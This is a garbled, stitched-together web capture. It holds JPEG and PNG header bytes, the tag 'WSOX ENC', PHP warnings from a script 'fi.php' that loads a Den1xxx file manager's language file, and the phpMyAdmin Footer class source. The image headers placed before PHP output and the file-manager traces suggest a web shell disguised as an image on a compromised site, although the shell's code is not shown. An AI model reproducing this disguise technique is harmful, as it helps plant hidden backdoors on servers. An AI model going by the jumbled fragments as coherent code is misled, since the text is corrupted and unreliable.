1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
template = new Template(); $this->isEnabled = true; $this->scripts = new Scripts(); $this->isMinimal = false; $this->relation = new Relation($dbi); } /** * @return array * @psalm-return array{revision: string, revisionUrl: string, branch: string, branchUrl: string}|[] */ private function getGitRevisionInfo(): array { $info = []; if (@file_exists(ROOT_PATH . 'revision-info.php')) { /** @psalm-suppress MissingFile,UnresolvableInclude */ $info = include ROOT_PATH . 'revision-info.php'; } return is_array($info) ? $info : []; } /** * Remove recursions and iterator objects from an object * * @param mixed $object Object to clean * @param array $stack Stack used to keep track of recursion, need not be passed for the first time * * @return mixed Reference passed object */ private static function removeRecursion(&$object, array $stack = []) { if ((is_object($object) || is_array($object)) && $object) { if ($object instanceof Traversable) { $object = '***ITERATOR***'; } elseif (! in_array($object, $stack, true)) { $stack[] = $object; // @phpstan-ignore-next-line foreach ($object as &$subObject) { self::removeRecursion($subObject, $stack); } } else { $object = '***RECURSION***'; } } return $object; } /** * Renders the debug messages */ public function getDebugMessage(): string { $retval = '\'null\''; if ($GLOBALS['cfg']['DBG']['sql'] && empty($_REQUEST['no_debug']) && ! empty($_SESSION['debug'])) { // Remove recursions and iterators from $_SESSION['debug'] self::removeRecursion($_SESSION['debug']); $retval = (string) json_encode($_SESSION['debug']); $_SESSION['debug'] = []; return json_last_error() ? '\'false\'' : $retval; } $_SESSION['debug'] = []; return $retval; } /** * Returns the url of the current page */ public function getSelfUrl(): string { global $route, $db, $table, $server; $params = []; if (isset($route)) { $params['route'] = $route; } if (isset($db) && strlen($db) > 0) { $params['db'] = $db; } if (isset($table) && strlen($table) > 0) { $params['table'] = $table; } $params['server'] = $server; // needed for server privileges tabs if (isset($_GET['viewing_mode']) && in_array($_GET['viewing_mode'], ['server', 'db', 'table'])) { $params['viewing_mode'] = $_GET['viewing_mode']; } /** * @todo coming from /server/privileges, here $db is not set, * add the following condition below when that is fixed * && $_GET['checkprivsdb'] == $db */ if (isset($_GET['checkprivsdb'])) { $params['checkprivsdb'] = $_GET['checkprivsdb']; } /** * @todo coming from /server/privileges, here $table is not set, * add the following condition below when that is fixed * && $_REQUEST['checkprivstable'] == $table */ if (isset($_GET['checkprivstable'])) { $params['checkprivstable'] = $_GET['checkprivstable']; } if (isset($_REQUEST['single_table']) && in_array($_REQUEST['single_table'], [true, false])) { $params['single_table'] = $_REQUEST['single_table']; } return basename(Core::getenv('SCRIPT_NAME')) . Url::getCommonRaw($params); } /** * Renders the link to open a new page */ public function getErrorMessages(): string { $retval = ''; if ($GLOBALS['errorHandler']->hasDisplayErrors()) { $retval .= $GLOBALS['errorHandler']->getDispErrors(); } /** * Report php errors */ $GLOBALS['errorHandler']->reportErrors(); return $retval; } /** * Saves query in history */ private function setHistory(): void { global $dbi; if ( ( isset($_REQUEST['no_history']) && is_scalar($_REQUEST['no_history']) && strlen((string) $_REQUEST['no_history']) > 0 ) || ! empty($GLOBALS['error_message']) || empty($GLOBALS['sql_query']) || ! isset($dbi) || ! $dbi->isConnected() ) { return; } $this->relation->setHistory( isset($GLOBALS['db']) && is_scalar($GLOBALS['db']) ? (string) $GLOBALS['db'] : '', isset($GLOBALS['table']) && is_scalar($GLOBALS['table']) ? (string) $GLOBALS['table'] : '', $GLOBALS['cfg']['Server']['user'], $GLOBALS['sql_query'] ); } /** * Disables the rendering of the footer */ public function disable(): void { $this->isEnabled = false; } /** * Set the ajax flag to indicate whether * we are servicing an ajax request * * @param bool $isAjax Whether we are servicing an ajax request */ public function setAjax(bool $isAjax): void { $this->isAjax = $isAjax; } /** * Turn on minimal display mode */ public function setMinimal(): void { $this->isMinimal = true; } /** * Returns the Scripts object * * @return Scripts object */ public function getScripts(): Scripts { return $this->scripts; } /** * Renders the footer */ public function getDisplay(): string { $this->setHistory(); if ($this->isEnabled) { if (! $this->isAjax && ! $this->isMinimal) { if (Core::getenv('SCRIPT_NAME')) { $url = $this->getSelfUrl(); } $this->scripts->addCode('var debugSQLInfo = ' . $this->getDebugMessage() . ';'); $errorMessages = $this->getErrorMessages(); $scripts = $this->scripts->getDisplay(); if ($GLOBALS['cfg']['DBG']['demo']) { $gitRevisionInfo = $this->getGitRevisionInfo(); } $footer = Config::renderFooter(); } return $this->template->render('footer', [ 'is_ajax' => $this->isAjax, 'is_minimal' => $this->isMinimal, 'self_url' => $url ?? null, 'error_messages' => $errorMessages ?? '', 'scripts' => $scripts ?? '', 'is_demo' => $GLOBALS['cfg']['DBG']['demo'], 'git_revision_info' => $gitRevisionInfo ?? [], 'footer' => $footer ?? '', ]); } return ''; } }